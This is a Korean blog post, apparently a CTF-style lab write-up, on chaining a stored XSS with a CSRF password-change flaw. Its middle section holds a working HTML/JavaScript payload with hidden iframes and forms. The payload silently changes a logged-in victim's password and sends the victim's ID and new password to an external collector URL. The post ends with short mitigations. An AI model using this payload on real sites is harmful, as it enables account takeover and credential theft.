본문 바로가기

보안지식/CSRF

CSRF 2번 공격 시나리오

안녕하세요

이번에는 제가 한 2번 실습 문제를 공격 시나리오을 짜보려고 합니다

처음이라 많이 부족합니다!

 

 

 

 

CSRF 실습 2번-

 

이 사이트의 비밀번호 변경을 할 때 인증 과정이 없고

새로운 비밀번호만 입력만 되어도 변경이 가능한 취약점을 찾았습니다.

 

그리고 게시판에 XSS 취약점이 있는 것을 찾았습니다.

 

이 2개를 이용하여 CSRF 공격이 통합니다.

 

 

CSRF 란?

 

클라이언트의 의지와는 무관하게 공격자가 의도한 행위를 특정 사이트에 요청을 하는 겁니다.

 

 

CSRF

 

 

XSS 란?

 

URL, 글에 악성스크립트을 넣어서

클라이언트 측에서 실행되는 코드에 그 악성 스크립트을 실행되게 하여 공격자가 원하는 정보

또는 행위을 하는 삽입 공격입니다.

 

XSS이란

 

 

________________________________________________________________________________________________

 

공격 과정

 

1) 마이페이지 비밀번호 변경

 

비밀번호 변경

 

POST 방식으로 새로운 pw을 작성하고 요청을 하기만 하면 이 세션의 비밀번호가 변경이 됩니다.

 

 

 

2) 게시판 XSS 공격

 

 

게시판 글에 스크립트 작성

 

 

게시판에 스크립트을 작성 하면 그대로 실행이 되는 것을 찾았습니다.

 

 

XSS 공격

 

 

 

그러니 저는 이 XSS 공격으로 게시판에 악성 코드를 작성하겠습니다.

form 태그로 POST 방식으로 변경하는 비밀번호를 작성하여 보내겠습니다.

 

그러니 이 게시판의 링크로 들어오면 이 사이트의 로그인 한 사람들만 확인이 가능하며

또한 그 세션으로 form태그로 인해 POST로 새로운 비밀번호를 보내게 되어

클라이언트의 의지와 무관하게 변경되게 하겠습니다.

 

더 나아가서 해커의 서버로 마이페이지에 사용자의 ID가 자동으로 적혀 있는 것을 가져오고

변경된 비밀번호까지 보내지게 하겠습니다.

 

 

 

<iframe id="getID" src="http://ctf.segfaulthub.com:7777/csrf_2/mypage.php" width="0" height="0" border="0" style="display: none;" onload="exploit()"></iframe>
<iframe id="stealth" name="stealth" width="0" height="0" border="0" style="display: none;" ></iframe>

<form id="ID_form" method="GET" action="https://enqer4jacy5y.x.pipedream.net" target="stealth">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="id" value="">
</form>

<iframe id="stealth2" name="stealth2" width="0" height="0" border="0" style="display: none;" sandbox="allow-scripts"></iframe>
<form id="pw_form" method="POST" action="http://ctf.segfaulthub.com:7777/csrf_2/mypage_update.php" target="stealth2">
<input type="hidden" name="pw" value="1234">
</form>

<script>
	function exploit() {
    	var token = document.getElementById('getID').contentDocument.forms[0].id.placeholder;
        
        document.getElementById('ID_form').id.value=token;
        document.forms['ID_form'].submit();
        document.forms['pw_form'].submit();
    }
</script>

 

 

 

 

그리고 이제 이 게시판을 들어오는 클라이언트들은 전부 아이디와 변경된 비밀번호를 해커 서버에 보내지게 됩니다.

 

http://ctf.segfaulthub.com:7777/csrf_2/notice_read.php?id=75&view=1

 

 

 

 

 

-피해자 컴퓨터

 

 

게시물을 봤을 때

 

 

----피해자의 인터넷 기록

 

 

해커 서버로 GET 방식으로 아이디와 새로운 비밀번호 보낸다

 

 

POST방식으로 비밀번호 변경

 

 

 

-공격자 서버

 

아이디와 비밀번호 받을 수 있다.

 

그리고 공격자는 이 아이디와 비밀번호로 자신이 아닌 아이디로 게시판에 악성 글이나

무단 악성 프로그램 판매 광고 글 도배가 가능 한 것을 확인했습니다.

 

 

________________________________________________________________________________________________

 

대응 방법

 

1. 게시판에 있는 XSS 취약점을 막는다.

-HTML 엔티티로 치환해주는 라이브러리 활용, filter_var 함수 사용

 

2. 비밀번호 변경할 때 이전 비밀번호 입력까지 해서 인증 과정 개발

-전 비밀번호를 알 수가 없어서 대응이 된다.

 

 

'보안지식 > CSRF' 카테고리의 다른 글

SSRF 공격 - 정리,실습  (0) 2023.05.30
CSRF 3번 공격 시나리오  (0) 2023.05.29
CSRF 1번 공격 시나리오  (2) 2023.05.27
CSRF 공격 - 실습 (3번 풀이)  (2) 2023.05.22
CSRF 공격 - 실습 (2번 풀이)  (0) 2023.05.21